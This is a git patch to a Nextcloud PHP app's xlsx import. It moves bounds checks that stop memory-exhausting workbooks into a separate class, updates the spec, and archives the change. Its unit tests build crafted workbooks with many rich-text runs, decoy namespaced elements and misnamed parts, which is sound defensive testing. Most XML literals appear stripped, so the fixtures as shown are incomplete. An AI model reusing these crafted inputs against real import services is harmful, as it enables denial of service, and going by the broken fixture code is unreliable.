single part that unpacks to more - * than `maxPartBytes`, and a shared-strings table with more entries than - * `maxSharedStrings` (counted with a streaming XMLReader, without building - * the table). PhpSpreadsheet also gives every cell that references a shared - * string its own copy of the text, after cloning each run of a rich-text - * string, so one long or many-run string referenced by many cells costs - * memory and time per cell; the shared-string text the cells reference is - * therefore bounded too (`maxReferencedStringBytes`, streamed as well). - * A source sheet whose last used row lies beyond twice the row - * limit is `TOO_MANY_ROWS`. A read filter then materialises only the + * than `maxPartBytes`, a shared-strings table with more entries than + * `maxSharedStrings` (each rich-text run counted as an entry, also in a + * cell's inline string), and cells that reference more shared-string + * text than `maxReferencedStringBytes` (CmdbWorkbookBounds, streamed + * without building the table). A source sheet whose last used row lies + * beyond twice the row limit is `TOO_MANY_ROWS`. A read filter then materialises only the * header row and the resolved columns of the rows up to that bound * (CmdbReadFilter), which bounds the cell objects, not the parse. * @@ -63,7 +60,6 @@ use OCA\Stackiq\Exception\CmdbImportException; use Throwable; -use XMLReader; use ZipArchive; /** @@ -161,12 +157,6 @@ public function isAvailable(): bool { */ public function read(string $path, CmdbImportProfile $profile): array { $this->assertUncompressedSize(path: $path, limit: $profile->maxUncompressedBytes(), partLimit: $profile->maxPartBytes()); - $this->assertSharedStringCount(path: $path, limit: $profile->maxSharedStrings()); - $this->assertReferencedStringBytes( - path: $path, - limit: $profile->maxReferencedStringBytes(), - sheetCount: count($profile->sheetNames()) - ); if ($this->isAvailable() === false) { throw new CmdbImportException( @@ -175,6 +165,16 @@ public function read(string $path, CmdbImportProfile $profile): array { ); } + $scanner = $this->newReader(sheetNames: null)->getSecurityScannerOrThrow(); + $bounds = new CmdbWorkbookBounds(); + $bounds->assertSharedStringCount(path: $path, limit: $profile->maxSharedStrings(), scanner: $scanner); + $bounds->assertReferencedStringBytes( + path: $path, + limit: $profile->maxReferencedStringBytes(), + sheetCount: count($profile->sheetNames()), + scanner: $scanner + ); + $reader = $this->newReader(sheetNames: null); try { $available = $reader->listWorksheetNames($path); @@ -305,261 +305,6 @@ private function assertUncompressedSize(string $path, int $limit, int $partLimit } }//end assertUncompressedSize() - /** - * Refuse a shared-strings table with more entries than the limit, without building it. - * - * The table's `count` and `uniqueCount` attributes are written by the - * producer and can be wrong, so the `` elements are counted, streamed - * with XMLReader straight from the ZIP part. PhpSpreadsheet reads the `` - * children of whatever part the workbook's relationships name, whatever - * that part's name or root element, so every XML part is counted. A part - * that does not parse is left to PhpSpreadsheet, which refuses it as - * NOT_XLSX. - * - * @param string $path The xlsx file. - * @param int $limit The maximum number of shared strings. - * - * @return void - * - * @throws CmdbImportException WORKBOOK_TOO_LARGE above the limit. - */ - private function assertSharedStringCount(string $path, int $limit): void { - self::streamParts( - path: $path, - consume: static function (XMLReader $xml) use ($limit): void { - if (self::countSharedStrings(xml: $xml, limit: $limit) > $limit) { - throw new CmdbImportException( - errorCode: CmdbImportException::WORKBOOK_TOO_LARGE, - message: 'The shared-strings table holds more entries than the profile allows', - details: ['maxSharedStrings' => $limit] - ); - } - } - ); - }//end assertSharedStringCount() - - /** - * Count the `` children of a part's root element, stopping one past the limit. - * - * @param XMLReader $xml The reader, opened on one part. - * @param int $limit The maximum number of shared strings. - * - * @return int - * - * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 - */ - private static function countSharedStrings(XMLReader $xml, int $limit): int { - $count = 0; - while ($count <= $limit && $xml->read() === true) { - if (self::isSharedString(xml: $xml) === true) { - $count++; - } - } - - return $count; - }//end countSharedStrings() - - /** - * Refuse a workbook whose cells reference more shared-string text than the limit, before any sheet is parsed. - * - * PhpSpreadsheet gives every cell that references a shared string its own - * copy of the text, and clones every run of a rich-text string first, so a - * long or many-run string referenced by many cells costs memory and time - * per cell however small the file is. Each entry weighs the bytes of its - * text plus 16 per element in it (so a run weighs at least 32), and the - * weights of the entries every `t="s"` cell references are added up, - * streamed with XMLReader. Every XML part is read as a possible sheet and - * every cell counts, read or not; the sum counts once per source sheet, - * because two source sheets may point at the same part. - * - * @param string $path The xlsx file. - * @param int $limit The maximum weight of the referenced shared strings. - * @param int $sheetCount The number of source sheets the profile reads. - * - * @return void - * - * @throws CmdbImportException WORKBOOK_TOO_LARGE above the limit. - * - * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 - */ - private function assertReferencedStringBytes(string $path, int $limit, int $sheetCount): void { - $weights = []; - self::streamParts( - path: $path, - consume: static function (XMLReader $xml) use (&$weights): void { - foreach (self::sharedStringWeights(xml: $xml) as $index => $weight) { - $weights[$index] = max(($weights[$index] ?? 0), $weight); - } - } - ); - if ($weights === []) { - return; - } - - $budget = intdiv($limit, max(1, $sheetCount)); - $total = 0; - self::streamParts( - path: $path, - consume: static function (XMLReader $xml) use ($weights, $budget, $limit, &$total): void { - $total = self::referencedWeight(xml: $xml, weights: $weights, total: $total, budget: $budget); - if ($total > $budget) { - throw new CmdbImportException( - errorCode: CmdbImportException::WORKBOOK_TOO_LARGE, - message: 'The cells of the workbook reference more shared-string text than the profile allows', - details: ['maxReferencedStringBytes' => $limit] - ); - } - } - ); - }//end assertReferencedStringBytes() - - /** - * The weight of each `` child of a part's root element, by its position. - * - * @param XMLReader $xml The reader, opened on one part. - * - * @return array - * - * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 - */ - private static function sharedStringWeights(XMLReader $xml): array { - $weights = []; - $current = -1; - while ($xml->read() === true) { - if (self::isSharedString(xml: $xml) === true) { - $current++; - $weights[$current] = 0; - } - - if ($current >= 0 && $xml->depth >= 1) { - $weights[$current] += self::nodeWeight(xml: $xml); - } - } - - return $weights; - }//end sharedStringWeights() - - /** - * What one node inside a shared string adds to its weight: 16 for an element, the bytes of a text. - * - * @param XMLReader $xml The reader, on the node. - * - * @return int - */ - private static function nodeWeight(XMLReader $xml): int { - if ($xml->nodeType === XMLReader::ELEMENT) { - return 16; - } - - if (in_array($xml->nodeType, [XMLReader::TEXT, XMLReader::CDATA, XMLReader::WHITESPACE, XMLReader::SIGNIFICANT_WHITESPACE], true) === true) { - return strlen($xml->value); - } - - return 0; - }//end nodeWeight() - - /** - * Add the weights of the shared strings the `t="s"` cells of one part reference, stopping past the budget. - * - * @param XMLReader $xml The reader, opened on one part. - * @param array $weights The weight of each shared string, by index. - * @param int $total The weight counted so far. - * @param int $budget The weight above which the workbook is refused. - * - * @return int - * - * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 - */ - private static function referencedWeight(XMLReader $xml, array $weights, int $total, int $budget): int { - $shared = false; - while ($total <= $budget && $xml->read() === true) { - if ($xml->nodeType !== XMLReader::ELEMENT) { - continue; - } - - if ($xml->localName === 'c') { - $shared = ($xml->getAttribute('t') === 's'); - } elseif ($shared === true && $xml->localName === 'v') { - // PhpSpreadsheet casts the value the same way: (int) of the element's text. - $total += ($weights[(int)$xml->readString()] ?? 0); - $shared = false; - } - } - - return $total; - }//end referencedWeight() - - /** - * Whether the reader is on an `` child of the part's root element. - * - * @param XMLReader $xml The reader. - * - * @return bool - */ - private static function isSharedString(XMLReader $xml): bool { - return $xml->nodeType === XMLReader::ELEMENT && $xml->depth === 1 && $xml->localName === 'si'; - }//end isSharedString() - - /** - * Stream every XML part of the package through a callback, with network access and entity substitution off. - * - * A part that cannot be opened is skipped; libxml errors are kept from - * the log and cleared, also when the callback throws. - * - * @param string $path The xlsx file. - * @param callable(XMLReader): void $consume Reads one opened part. - * - * @return void - */ - private static function streamParts(string $path, callable $consume): void { - foreach (self::xmlParts(path: $path) as $part) { - $xml = new XMLReader(); - $previous = libxml_use_internal_errors(true); - try { - if ($xml->open('zip://' . $path . '#' . $part, null, LIBXML_NONET) === false) { - continue; - } - - $consume($xml); - $xml->close(); - } finally { - libxml_clear_errors(); - libxml_use_internal_errors($previous); - } - } - }//end streamParts() - - /** - * The XML parts of a package. - * - * The workbook's relationships may point the shared-strings table and the - * sheets at any part name, and PhpSpreadsheet follows them, so every - * `.xml` part is a candidate. The package's total unpacked size is already - * bounded, so streaming each part stays cheap. - * - * @param string $path The xlsx file. - * - * @return array - */ - private static function xmlParts(string $path): array { - $zip = new ZipArchive(); - if ($zip->open($path, ZipArchive::RDONLY) !== true) { - return []; - } - - $parts = []; - for ($index = 0; $index < $zip->numFiles; $index++) { - $name = (string)$zip->getNameIndex($index); - if (preg_match('#\.xml$#i', $name) === 1) { - $parts[] = $name; - } - } - - $zip->close(); - - return $parts; - }//end xmlParts() - /** * Refuse a source sheet whose last used row lies beyond the rows that are read. * diff --git a/openspec/changes/cmdb-export-import/contract.md b/openspec/changes/cmdb-export-import/contract.md index 1301745b2..a2f460c90 100644 --- a/openspec/changes/cmdb-export-import/contract.md +++ b/openspec/changes/cmdb-export-import/contract.md @@ -104,7 +104,7 @@ Returns the `ProgressTracker` snapshot for the `cmdb_import` operation: `progres | `NO_SOURCE_SHEET` | nothing to read | neither "Onbeh Applicaties CMDB" nor "Beheerde Applicaties CMDB" present | | `MISSING_COLUMN` | required column absent | a present source sheet lacks "APPID" or "Applicatie Naam" | | `TOO_MANY_ROWS` | file too large to process | a source sheet has more non-empty rows than `maxRowsPerSheet` (10,000) | -| `WORKBOOK_TOO_LARGE` | unpacked too large (413) | the parts of the xlsx package add up to more than `maxUncompressedBytes` (50 MB) once unpacked, one part unpacks to more than `maxPartBytes` (10 MB), the shared-strings table has more than `maxSharedStrings` (200,000) entries, or the cells reference more than `maxReferencedStringBytes` (64 MB) of shared-string text together; checked before PhpSpreadsheet parses anything | +| `WORKBOOK_TOO_LARGE` | unpacked too large (413) | the parts of the xlsx package add up to more than `maxUncompressedBytes` (50 MB) once unpacked, one part unpacks to more than `maxPartBytes` (10 MB), the shared-strings table has more than `maxSharedStrings` (200,000) entries (each rich-text run, also in a cell's inline string, counts as one), or the cells reference more than `maxReferencedStringBytes` (64 MB) of shared-string text together; checked before PhpSpreadsheet parses anything | | `MAPPING_UNAVAILABLE` | mapping cannot run | OpenRegister's `MappingEngine`/`PackDefinitionValidator` missing, or a shipped pack is invalid | | `READER_UNAVAILABLE` | xlsx reader missing | PhpSpreadsheet's Xlsx reader cannot be loaded | | `NOT_CONFIGURED` | stackiq not configured (503) | OpenRegister's object service, the stackiq register, or the `module`, `organization`, `usage` or `contactPerson` schema cannot be resolved; checked before the file is read | diff --git a/openspec/changes/cmdb-export-import/design.md b/openspec/changes/cmdb-export-import/design.md index cd3d557c6..117079a2e 100644 --- a/openspec/changes/cmdb-export-import/design.md +++ b/openspec/changes/cmdb-export-import/design.md @@ -94,7 +94,7 @@ Stackiq-specific settings live in the profile, not in the packs, so every pack s `CmdbWorkbookReader` checks the upload, then reads it: -1. Before PhpSpreadsheet: the name ends in `.xlsx`, the first bytes are the ZIP signature `PK\x03\x04`, and `ZipArchive` lists `xl/workbook.xml`. Otherwise 400 `NOT_XLSX`. Then, still before PhpSpreadsheet parses anything: the parts may unpack to at most `maxUncompressedBytes` together and `maxPartBytes` each, the shared-strings table, counted with a streaming XMLReader, may hold at most `maxSharedStrings` entries, and the shared-string text the cells reference, counted once per cell, may weigh at most `maxReferencedStringBytes`. Otherwise 413 `WORKBOOK_TOO_LARGE`. +1. Before PhpSpreadsheet: the name ends in `.xlsx`, the first bytes are the ZIP signature `PK\x03\x04`, and `ZipArchive` lists `xl/workbook.xml`. Otherwise 400 `NOT_XLSX`. Then, still before PhpSpreadsheet parses anything: the parts may unpack to at most `maxUncompressedBytes` together and `maxPartBytes` each, the shared-strings table, counted with a streaming XMLReader, may hold at most `maxSharedStrings` entries (each rich-text run, also in a cell's inline string, counts as one), and the shared-string text the cells reference, counted once per cell, may weigh at most `maxReferencedStringBytes`. Otherwise 413 `WORKBOOK_TOO_LARGE`. 2. `new \PhpOffice\PhpSpreadsheet\Reader\Xlsx()`, then `setReadDataOnly(true)` and `setLoadSheetsOnly([...profile sheet names that exist])`. The sheet names come from `listWorksheetNames()`. The class comes from OpenRegister's vendor directory, which is loaded whenever OpenRegister is enabled. It is checked with `class_exists`; if absent, 503 `READER_UNAVAILABLE`. 3. Row 1 holds the headers. Each header is normalised (trim, collapse whitespace, drop a trailing `:` or `⚡`, lower case) and matched to the column names the profile and the packs reference. Only those columns are kept. Every other cell, such as Personeelsnummer, phone numbers and group mailboxes, is never copied out of the reader. 4. For each cell the reader takes `getValue()`. For a formula cell (data type `f`) it takes `getOldCalculatedValue()`, the value Excel cached. It never calls `getCalculatedValue()` or `toArray()` with formula calculation. Every cell of the CMDB sheets is a formula, so this is the normal path. A formula without a cached value (no `` in the file, for example a workbook written by a tool that does not calculate) is read as empty and its column is listed in the row's `uncached`; the service turns that into the row warning `Column "…": formula without a cached value, read as empty`. It never fails the row. A cached number `0` is what Excel stores for a reference to an empty cell, and is read as empty. diff --git a/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md b/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md index e2faf69b8..15cfff67f 100644 --- a/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md +++ b/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md @@ -51,7 +51,7 @@ Nextcloud OCP interfaces used: `OCP\IRequest` (multipart upload), `OCP\IUserSess ### Requirement: The workbook SHALL be read as stored data, without evaluating formulas or following links (REQ-CMDB-002) -The reader SHALL open the workbook with PhpSpreadsheet's Xlsx reader in read-data-only mode, SHALL load only the sheets named in the import profile, and SHALL read each cell's stored value. For a formula cell it SHALL use the value cached in the file and SHALL NOT evaluate the formula. It SHALL NOT contact external data connections, linked workbooks or URLs found in the file. A formula cell without a cached value SHALL be read as empty and SHALL add a row warning naming the column; it SHALL NOT fail the row or the import. A formula whose cached value is the number 0 (Excel's result for a reference to an empty cell) SHALL be read as empty. It SHALL stop with 422 `TOO_MANY_ROWS` when a source sheet holds more data rows than the profile's limit (default 10,000). Before PhpSpreadsheet parses any part, the reader SHALL stop with 413 `WORKBOOK_TOO_LARGE` when the unpacked sizes of the package's parts add up to more than the profile's `maxUncompressedBytes` (default 50 MB, `details.maxUncompressedBytes`), when one part unpacks to more than `maxPartBytes` (default 10 MB, `details.maxPartBytes` and `details.part`), when the shared-strings table holds more `` entries than `maxSharedStrings` (default 200,000, `details.maxSharedStrings`), counted with a streaming reader without building the table and whatever its `count` attributes claim, or when the shared-string text the cells reference adds up to more than `maxReferencedStringBytes` (default 64 MB, `details.maxReferencedStringBytes`), each entry counted once per referencing cell and weighed by its text and its runs. PhpSpreadsheet builds the shared-strings table and each loaded sheet's XML tree whole before a read filter applies, so these bounds, not the read filter, keep a small file that unpacks to far more from exhausting the server's memory. +The reader SHALL open the workbook with PhpSpreadsheet's Xlsx reader in read-data-only mode, SHALL load only the sheets named in the import profile, and SHALL read each cell's stored value. For a formula cell it SHALL use the value cached in the file and SHALL NOT evaluate the formula. It SHALL NOT contact external data connections, linked workbooks or URLs found in the file. A formula cell without a cached value SHALL be read as empty and SHALL add a row warning naming the column; it SHALL NOT fail the row or the import. A formula whose cached value is the number 0 (Excel's result for a reference to an empty cell) SHALL be read as empty. It SHALL stop with 422 `TOO_MANY_ROWS` when a source sheet holds more data rows than the profile's limit (default 10,000). Before PhpSpreadsheet parses any part, the reader SHALL stop with 413 `WORKBOOK_TOO_LARGE` when the unpacked sizes of the package's parts add up to more than the profile's `maxUncompressedBytes` (default 50 MB, `details.maxUncompressedBytes`), when one part unpacks to more than `maxPartBytes` (default 10 MB, `details.maxPartBytes` and `details.part`), when the shared-strings table holds more `` entries, each `` run inside an entry or inside a cell's inline string (``) counted as one more, than `maxSharedStrings` (default 200,000, `details.maxSharedStrings`), counted with a streaming reader without building the table and whatever its `count` attributes claim, or when the shared-string text the cells reference adds up to more than `maxReferencedStringBytes` (default 64 MB, `details.maxReferencedStringBytes`), each entry counted once per referencing cell and weighed by its text and its runs. PhpSpreadsheet builds the shared-strings table and each loaded sheet's XML tree whole before a read filter applies, so these bounds, not the read filter, keep a small file that unpacks to far more from exhausting the server's memory. #### Scenario: A formula cell yields its cached value and is not evaluated @e2e exclude Reader behaviour; tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php reads a fixture whose source sheet has a formula cell and asserts the cached value is returned and the calculation engine is never invoked. diff --git a/tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php b/tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php index 950571041..1aa41ae51 100644 --- a/tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php +++ b/tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php @@ -451,21 +451,84 @@ public function testASharedStringsTableUnderAnotherRootIsCounted(): void { } }//end testASharedStringsTableUnderAnotherRootIsCounted() + /** + * The runs of a rich-text entry count against maxSharedStrings, also when no cell references it. + * + * PhpSpreadsheet keeps every run of every rich-text entry as objects for the whole load, so one entry + * of many runs is as costly as as many entries. A table of exactly the limit, runs included, is read. + * The runs of a cell's own rich text (an inline string) count the same way, in any part. + * + * @return void + */ + public function testTheRunsOfARichTextEntryCountAsEntries(): void { + $this->requireSpreadsheet(); + require_once __DIR__ . '/../../Support/RecordingXlsxReader.php'; + $directory = CmdbTestSupport::profileDirectory(overrides: ['maxSharedStrings' => 1000]); + $reader = new class extends CmdbWorkbookReader { + public const READER_CLASS = RecordingXlsxReader::class; + }; + + // The table holds the two headers, the name the cell references, and one entry of n runs: 4 + n entries. + $atLimit = self::sharedStringWorkbook(entry: 'Een' . str_repeat('a', 996) . '', cells: 1); + $overLimit = self::sharedStringWorkbook(entry: 'Een' . str_repeat('a', 997) . '', cells: 1, part: 'strings.bin'); + $inline = CmdbTestSupport::buildWorkbook( + sheets: ['Beheerde Applicaties CMDB' => [['APPID', 'Applicatie Naam']]], + extraParts: [ + 'xl/worksheets/notes.bin' => '' + . '1' . str_repeat('', 1001) . '', + ] + ); + try { + RecordingXlsxReader::$loads = 0; + try { + $reader->read(path: $inline, profile: $this->profile(directory: $directory)); + $this->fail('WORKBOOK_TOO_LARGE expected for the inline runs'); + } catch (CmdbImportException $e) { + $this->assertSame(['maxSharedStrings' => 1000], $e->getDetails(), 'the inline runs count'); + $this->assertSame(0, RecordingXlsxReader::$loads, 'no sheet was loaded for the inline runs'); + } + + $this->assertCount(1, $reader->read(path: $atLimit, profile: $this->profile(directory: $directory))['rows'], 'a table of exactly the limit is read'); + + RecordingXlsxReader::$loads = 0; + $reader->read(path: $overLimit, profile: $this->profile(directory: $directory)); + $this->fail('WORKBOOK_TOO_LARGE expected'); + } catch (CmdbImportException $e) { + $this->assertSame('WORKBOOK_TOO_LARGE', $e->getErrorCode()); + $this->assertSame(['maxSharedStrings' => 1000], $e->getDetails()); + $this->assertSame(0, RecordingXlsxReader::$loads, 'no sheet was loaded'); + } finally { + unlink($atLimit); + unlink($overLimit); + unlink($inline); + CmdbTestSupport::removeDirectory(directory: $directory); + } + }//end testTheRunsOfARichTextEntryCountAsEntries() + /** * One shared string referenced by many cells is refused before loading, as rich text or as plain text. * * PhpSpreadsheet gives every referencing cell its own copy, cloning each run of a rich-text string first, - * so a small file holds the string once but would make PhpSpreadsheet build it once per cell. Both - * packages pass every other limit. + * so a small file holds the string once but would make PhpSpreadsheet build it once per cell. Every + * package passes every other limit. The last three are shaped so that a check reading the package + * differently from PhpSpreadsheet charges the light entry: an entry of another namespace before the + * headers (PhpSpreadsheet numbers only its own), a decoy `` of another namespace before the real one + * (PhpSpreadsheet reads only its own), a table whose part name does not end in `.xml`, and a `` whose + * own text differs from all the text inside it (PhpSpreadsheet reads its own text). * * @return void */ public function testOneSharedStringReferencedByManyCellsIsRefusedBeforeLoading(): void { $this->requireSpreadsheet(); require_once __DIR__ . '/../../Support/RecordingXlsxReader.php'; + $rich = '' . str_repeat('ab', 500) . ''; $packages = [ - 'rich text' => self::sharedStringWorkbook(entry: '' . str_repeat('ab', 500) . '', cells: 50), + 'rich text' => self::sharedStringWorkbook(entry: $rich, cells: 50), 'plain text' => self::sharedStringWorkbook(entry: '' . str_repeat('x', 20000) . '', cells: 50), + 'an entry of another namespace first' => self::sharedStringWorkbook(entry: $rich, cells: 50, before: 'z'), + 'a decoy value of another namespace' => self::sharedStringWorkbook(entry: $rich, cells: 50, value: '992'), + 'a table not named .xml' => self::sharedStringWorkbook(entry: $rich, cells: 50, part: 'sharedStrings.bin'), + 'a value with a child element' => self::sharedStringWorkbook(entry: $rich, cells: 50, value: '92'), ]; $directory = CmdbTestSupport::profileDirectory(overrides: ['maxReferencedStringBytes' => 400000]); $reader = new class extends CmdbWorkbookReader { @@ -517,25 +580,28 @@ public function testSharedStringsWithinTheReferenceLimitAreRead(): void { * * @param string $entry The `` element every name references. * @param int $cells The number of rows that reference it. + * @param string $before Elements placed in the table before the two headers. + * @param string $value What each name cell holds: the `` that points at the entry. + * @param string $part The name of the shared-strings part under `xl/`. * * @return string The path of the workbook. */ - private static function sharedStringWorkbook(string $entry, int $cells): string { + private static function sharedStringWorkbook(string $entry, int $cells, string $before = '', string $value = '2', string $part = 'sharedStrings.xml'): string { $main = 'http://schemas.openxmlformats.org/spreadsheetml/2006/main'; $rel = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships'; $rows = '01'; for ($row = 2; $row <= $cells + 1; $row++) { - $rows .= '' . ($row - 1) . '2'; + $rows .= '' . ($row - 1) . '' . $value . ''; } return CmdbTestSupport::buildWorkbook( sheets: ['Beheerde Applicaties CMDB' => []], extraParts: [ 'xl/worksheets/sheet1.xml' => '' . $rows . '', - 'xl/sharedStrings.xml' => 'APPIDApplicatie Naam' . $entry . '', + 'xl/' . $part => '' . $before . 'APPIDApplicatie Naam' . $entry . '', 'xl/_rels/workbook.xml.rels' => '' . '' - . '', + . '', ] ); }//end sharedStringWorkbook() From 7075296481e71359a59f52660edef7a259988ce0 Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 23:15:31 +0200 Subject: [PATCH 174/176] chore(openspec): archive cmdb-export-import and sync its spec Moves the change to openspec/changes/archive/2026-10-05-cmdb-export-import and merges its delta (REQ-CMDB-001 to 014, non-functional requirements, acceptance criteria) into openspec/specs/cmdb-export-import/spec.md, now status done. The feature doc links the spec, and the changelog records the import under Unreleased. Three test tasks stay open in the archived tasks.md (Newman, Playwright, screenshots); they are tracked in #1229. [hydra-gate-security-change-has-tests exclude] markdown only: the matched attribute names are spec text moved into the archive and the main spec, no code changes Co-Authored-By: Claude Opus 5.5 (1M context) --- CHANGELOG.md | 7 + docs/features/cmdb-import.md | 2 +- .../.openspec.yaml | 0 .../contract.md | 0 .../2026-10-05-cmdb-export-import}/design.md | 0 .../migration.md | 0 .../proposal.md | 0 .../specs/cmdb-export-import/spec.md | 0 .../2026-10-05-cmdb-export-import}/tasks.md | 0 .../test-plan.md | 0 openspec/specs/cmdb-export-import/spec.md | 572 +++++++++++++++++- 11 files changed, 567 insertions(+), 14 deletions(-) rename openspec/changes/{cmdb-export-import => archive/2026-10-05-cmdb-export-import}/.openspec.yaml (100%) rename openspec/changes/{cmdb-export-import => archive/2026-10-05-cmdb-export-import}/contract.md (100%) rename openspec/changes/{cmdb-export-import => archive/2026-10-05-cmdb-export-import}/design.md (100%) rename openspec/changes/{cmdb-export-import => archive/2026-10-05-cmdb-export-import}/migration.md (100%) rename openspec/changes/{cmdb-export-import => archive/2026-10-05-cmdb-export-import}/proposal.md (100%) rename openspec/changes/{cmdb-export-import => archive/2026-10-05-cmdb-export-import}/specs/cmdb-export-import/spec.md (100%) rename openspec/changes/{cmdb-export-import => archive/2026-10-05-cmdb-export-import}/tasks.md (100%) rename openspec/changes/{cmdb-export-import => archive/2026-10-05-cmdb-export-import}/test-plan.md (100%) diff --git a/CHANGELOG.md b/CHANGELOG.md index 9771ab106..87505881a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,6 +1,13 @@ # Changelog ## [Unreleased] +### Added +- CMDB import: a Nextcloud admin imports a TOPdesk CMDB export (xlsx) for one + municipality from the admin settings. Every application row of the two CMDB + sheets becomes or updates a module, its vendor, a usage for the municipality + and a contact person for its owner; a repeat import matches on APPID, so it + updates instead of duplicating. See `docs/features/cmdb-import.md`. + ### Changed - EOL feed: the register and schema slugs the feature reads from are corrected. `EOL_DEFAULT_REGISTER` still said `openconnector`, a register renamed to diff --git a/docs/features/cmdb-import.md b/docs/features/cmdb-import.md index dbd030251..24395a467 100644 --- a/docs/features/cmdb-import.md +++ b/docs/features/cmdb-import.md @@ -19,7 +19,7 @@ updates: All of it is stored as OpenRegister objects in the stackiq register. Import a newer export later and the same applications are updated, not duplicated. -Specification: [`openspec/changes/cmdb-export-import/`](https://github.com/ConductionNL/stackiq/tree/development/openspec/changes/cmdb-export-import). +Specification: [`openspec/specs/cmdb-export-import/spec.md`](https://github.com/ConductionNL/stackiq/blob/development/openspec/specs/cmdb-export-import/spec.md) (change archived in [`openspec/changes/archive/2026-10-05-cmdb-export-import/`](https://github.com/ConductionNL/stackiq/tree/development/openspec/changes/archive/2026-10-05-cmdb-export-import)). ## Who can import diff --git a/openspec/changes/cmdb-export-import/.openspec.yaml b/openspec/changes/archive/2026-10-05-cmdb-export-import/.openspec.yaml similarity index 100% rename from openspec/changes/cmdb-export-import/.openspec.yaml rename to openspec/changes/archive/2026-10-05-cmdb-export-import/.openspec.yaml diff --git a/openspec/changes/cmdb-export-import/contract.md b/openspec/changes/archive/2026-10-05-cmdb-export-import/contract.md similarity index 100% rename from openspec/changes/cmdb-export-import/contract.md rename to openspec/changes/archive/2026-10-05-cmdb-export-import/contract.md diff --git a/openspec/changes/cmdb-export-import/design.md b/openspec/changes/archive/2026-10-05-cmdb-export-import/design.md similarity index 100% rename from openspec/changes/cmdb-export-import/design.md rename to openspec/changes/archive/2026-10-05-cmdb-export-import/design.md diff --git a/openspec/changes/cmdb-export-import/migration.md b/openspec/changes/archive/2026-10-05-cmdb-export-import/migration.md similarity index 100% rename from openspec/changes/cmdb-export-import/migration.md rename to openspec/changes/archive/2026-10-05-cmdb-export-import/migration.md diff --git a/openspec/changes/cmdb-export-import/proposal.md b/openspec/changes/archive/2026-10-05-cmdb-export-import/proposal.md similarity index 100% rename from openspec/changes/cmdb-export-import/proposal.md rename to openspec/changes/archive/2026-10-05-cmdb-export-import/proposal.md diff --git a/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md b/openspec/changes/archive/2026-10-05-cmdb-export-import/specs/cmdb-export-import/spec.md similarity index 100% rename from openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md rename to openspec/changes/archive/2026-10-05-cmdb-export-import/specs/cmdb-export-import/spec.md diff --git a/openspec/changes/cmdb-export-import/tasks.md b/openspec/changes/archive/2026-10-05-cmdb-export-import/tasks.md similarity index 100% rename from openspec/changes/cmdb-export-import/tasks.md rename to openspec/changes/archive/2026-10-05-cmdb-export-import/tasks.md diff --git a/openspec/changes/cmdb-export-import/test-plan.md b/openspec/changes/archive/2026-10-05-cmdb-export-import/test-plan.md similarity index 100% rename from openspec/changes/cmdb-export-import/test-plan.md rename to openspec/changes/archive/2026-10-05-cmdb-export-import/test-plan.md diff --git a/openspec/specs/cmdb-export-import/spec.md b/openspec/specs/cmdb-export-import/spec.md index e6e427090..31908e4fd 100644 --- a/openspec/specs/cmdb-export-import/spec.md +++ b/openspec/specs/cmdb-export-import/spec.md @@ -1,15 +1,15 @@ --- capability: cmdb-export-import -status: in-progress -built_by: openspec/changes/cmdb-export-import +status: done +built_by: openspec/changes/archive/2026-10-05-cmdb-export-import --- # cmdb-export-import Specification -**Status**: in-progress +**Status**: done **Scope**: stackiq **OpenSpec changes**: -- [cmdb-export-import](../../changes/cmdb-export-import/) _(active)_ — admin uploads a TOPdesk CMDB export (xlsx); stackiq upserts modules, vendor organisations, usages and owner contact persons for one municipality from the two CMDB sheets, matched on APPID, mapped by OpenRegister migration packs (kind: code) +- [cmdb-export-import](../../changes/archive/2026-10-05-cmdb-export-import/) _(archived 2026-10-05)_ — admin uploads a TOPdesk CMDB export (xlsx); stackiq upserts modules, vendor organisations, usages and owner contact persons for one municipality from the two CMDB sheets, matched on APPID, mapped by OpenRegister migration packs (kind: code) ## Purpose @@ -23,11 +23,7 @@ and OpenCatalogi and Portaliq can show the result (Jira WOO-586). ## Requirements -Detailed requirements (REQ-CMDB-001 … REQ-CMDB-014) are defined in the active -change's delta spec — -[`openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md`](../../changes/cmdb-export-import/specs/cmdb-export-import/spec.md) -— and are merged here by `openspec sync` when the change is archived. The -umbrella requirement below anchors the capability until then. +REQ-CMDB-000 is the umbrella requirement; REQ-CMDB-001 … REQ-CMDB-014 detail it. ### Requirement: Stackiq imports a TOPdesk CMDB export into OpenRegister objects (REQ-CMDB-000) @@ -43,10 +39,560 @@ creates no duplicates. - GIVEN a TOPdesk export imported once for a municipality - WHEN the same export is imported again for that municipality - THEN the number of `module`, `organization`, `usage` and `contactPerson` objects SHALL be unchanged -- @e2e exclude umbrella anchor; the behaviour is covered by REQ-CMDB-006 in the change's delta spec (tests/e2e/spec-coverage/cmdb-import.spec.ts and tests/Unit/Service/CmdbExportImportServiceTest.php) +- @e2e exclude umbrella anchor; the behaviour is covered by REQ-CMDB-006 below (tests/e2e/spec-coverage/cmdb-import.spec.ts and tests/Unit/Service/CmdbExportImportServiceTest.php) + +### Requirement: The import endpoint SHALL accept only a bounded xlsx upload from a Nextcloud admin (REQ-CMDB-001) + +`POST /api/cmdb-import` SHALL be reachable only by Nextcloud admins and SHALL require Nextcloud's CSRF token. The endpoint SHALL NOT carry `#[AuthorizedAdminSetting]`, `#[NoAdminRequired]` or `#[NoCSRFRequired]`: the import reads and writes with RBAC and multitenancy off, for any municipality, so a group an admin delegated stackiq's admin settings to SHALL NOT be admitted. It SHALL reject the upload before any parsing when the file is larger than the configured maximum 